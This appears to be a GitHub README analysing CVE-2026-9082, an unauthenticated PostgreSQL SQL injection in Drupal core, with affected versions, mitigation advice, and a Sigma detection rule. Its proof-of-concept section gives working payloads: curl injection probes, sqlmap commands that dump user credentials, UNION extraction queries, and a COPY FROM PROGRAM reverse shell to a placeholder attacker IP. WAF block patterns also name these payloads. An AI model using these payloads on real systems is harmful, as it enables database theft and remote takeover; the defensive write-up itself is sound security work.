lysophavin18/cve-2026-9082
GitHub: lysophavin18/cve-2026-9082
Stars: 0 | Forks: 0
# CVE-2026-9082
**Type**: SQL Injection (CWE-89)
**Affected Product**: Drupal Core (Database Abstraction API)
**Drupal Advisory**: SA-CORE-2026-004
**Published**: May 20, 2026
**Severity**: Highly Critical (Drupal 20/25 | NVD CVSS 6.5)
## What Is It?
CVE-2026-9082 is a **SQL Injection** vulnerability in Drupal's core database abstraction API. Drupal's DB layer wraps PDO and sanitizes all queries before they reach the database. This vulnerability bypasses that sanitization for **PostgreSQL backends only** — specially crafted HTTP requests slip past the normalization logic, injecting attacker-controlled SQL fragments directly into database queries.
MySQL and MariaDB are **not affected** by the injection vector, though the patch release also bundles critical Symfony/Twig fixes that apply to all backends.
## Affected Versions
| Branch | Vulnerable | Patched |
|---|---|---|
| Drupal 10.4.x / 8.9.x | 8.9.0–10.4.9 | 10.4.10 |
| Drupal 10.5.x | 10.5.0–10.5.9 | 10.5.10 |
| Drupal 10.6.x | 10.6.0–10.6.8 | 10.6.9 |
| Drupal 11.0.x–11.1.x | 11.0.0–11.1.9 | 11.1.10 |
| Drupal 11.2.x | 11.2.0–11.2.11 | 11.2.12 |
| Drupal 11.3.x | 11.3.0–11.3.9 | 11.3.10 |
**Prerequisite**: Target must use PostgreSQL as its database backend.
## How It Works (Technical)
Drupal's DB abstraction layer sanitizes *values* via parameterized queries/prepared statements, but relies on the query builder to provide trusted *structural* SQL (field names, operators, ORDER BY targets). The bug is in how the PostgreSQL driver handles certain input patterns when building queries — PostgreSQL's SQL dialect differs from MySQL in key ways:
- String concatenation with `||`
- Type casting with `::`
- Dollar-quoting
- `COPY ... FROM PROGRAM` command
- Different operator handling
A crafted request introduces characters/sequences that pass Drupal's value-level sanitization but are interpreted as **structural SQL** by PostgreSQL's parser. The attack surface is reachable **without authentication** via any endpoint that passes user-controlled parameters into DB queries (search, view filters, form submissions, JSON:API, etc.).
### Exploitation Chain
Attacker (unauthenticated)
|
|--> HTTP request with crafted parameter
| (e.g. search field, filter, form input)
|
v
Drupal DB Abstraction API
|
|--> Sanitization bypass (PostgreSQL-specific)
|
v
PostgreSQL executes injected SQL
|
|--> Information disclosure (dump entire DB)
|--> Privilege escalation (inject admin credentials)
|--> RCE (PostgreSQL COPY TO PROGRAM, lo_export, etc.)
## Why It's Dangerous
1. **No authentication required** — any internet-facing Drupal site on PostgreSQL is exposed
2. **RCE potential** — via `COPY TO PROGRAM 'cmd'` if DB user has superuser privileges
3. **Full DB access** — user accounts, password hashes, session tokens, PII
4. **Broad version range** — entire Drupal 8/10/11 lifecycle
5. **Compound risk** — same patch covers Twig SSTI; attacker can chain SQLi → admin creation → SSTI for RCE
Drupal's own warning: *"exploits might be developed within hours or days of disclosure"* (consistent with historical Drupal DB-layer CVEs like SA-CORE-2014-005 / Drupalgeddon).
## Proof-of-Concept (Authorized Lab Testing Only)
### Step 1: Identify Candidate Endpoints
# Endpoints that pass user input through DB abstraction layer
curl -s "https://target.drupal.site/search/node?keys=test"
curl -s "https://target.drupal.site/views/ajax"
curl -s "https://target.drupal.site/jsonapi/node/article"
### Step 2: Detect PostgreSQL-Specific Injection
# Time-based (pg_sleep is PostgreSQL-only)
curl -s "https://target.drupal.site/search/node?keys=test%27%3Bselect+pg_sleep(5)--"
# Cast-based probe (:: is PostgreSQL syntax)
curl -s "https://target.drupal.site/search/node?keys=1::integer"
# Boolean-based differentiation
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='1"
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='2"
### Step 3: Automated Extraction (sqlmap, Authorized Testing)
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
--dbms=PostgreSQL \
--level=5 --risk=3 \
--technique=BEUST \
--tamper=space2comment,between \
--dbs
# Dump credentials after confirming injection
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
--dbms=PostgreSQL \
-D drupal -T users_field_data \
-C name,mail,pass --dump
### Step 4: Manual UNION-Based Extraction (Conceptual)
-- Fingerprint column count
test' ORDER BY 1--
test' ORDER BY 2-- -- increment until error
-- Extract credentials (PostgreSQL syntax)
test' UNION SELECT null,username,password FROM users_field_data--
-- Check if DB user is superuser
test' UNION SELECT null,current_user,null--
test' UNION SELECT null,usesuper::text,null FROM pg_user WHERE usename=current_user--
### Step 5: RCE via COPY TO PROGRAM (If DB User = Superuser)
CREATE TABLE cmd_out(output TEXT);
COPY cmd_out FROM PROGRAM 'id; uname -a';
SELECT * FROM cmd_out;
-- Reverse shell (replace ATTACKER_IP/PORT)
COPY cmd_out FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"';
## Mitigation
### Immediate: Patch Drupal
# Composer (recommended)
composer update drupal/core drupal/core-recommended
# Verify version
php core/scripts/drupal --version
# OR via Drush
drush updb && drush cr
### Database Hardening
-- Verify application DB user is NOT superuser
SELECT usename, usesuper FROM pg_user WHERE usename = 'drupal_app_user';
-- Should return usesuper = false
### WAF (Temporary Stopgap Only — Not a Substitute for Patching)
Block patterns: `pg_sleep`, `COPY.*PROGRAM`, `::text`, `::integer`, `UNION.*SELECT`, `%27--`
### Network
Ensure PostgreSQL binds only to localhost or a private interface; not internet-reachable.
## Detection Signals
| Source | Signal |
|---|---|
| Web logs | `pg_sleep`, `::`, `UNION SELECT`, `--`, `COPY PROGRAM` in query strings |
| PostgreSQL logs | Syntax errors correlating with web request timestamps |
| Drupal watchdog | DB exceptions from search/view/jsonapi endpoints |
| auditd | `postgres` spawning child processes (COPY TO PROGRAM) |
| Drupal users table | New `administrator` role rows with recent timestamps |
### Sigma Rule (Detection)
title: Drupal CVE-2026-9082 SQL Injection Attempt
logsource:
category: webserver
detection:
selection:
cs-uri-query|contains:
- "pg_sleep"
- "UNION+SELECT"
- "::text"
- "::integer"
- "COPY+TO"
- "%27--"
filter:
cs-uri-stem|contains:
- "/search/"
- "/views/ajax"
- "/jsonapi/"
condition: selection and filter
level: high
tags: [attack.t1190, cve.2026.9082]
## Summary
CVE-2026-9082 is a **zero-authentication SQL injection** in Drupal Core targeting PostgreSQL backends. Despite a moderate NVD CVSS of 6.5, Drupal rates it 20/25 (Highly Critical) because unauthenticated access + PostgreSQL's COPY TO PROGRAM = direct RCE in misconfigured environments. The broad affected version range and bundled Twig SSTI fixes make this a **critical, urgent patch** for all Drupal sites, especially those on PostgreSQL in internet-facing deployments.
**Recommended action**: Update to the patched version for your branch immediately. Verify your DB application user is not a PostgreSQL superuser.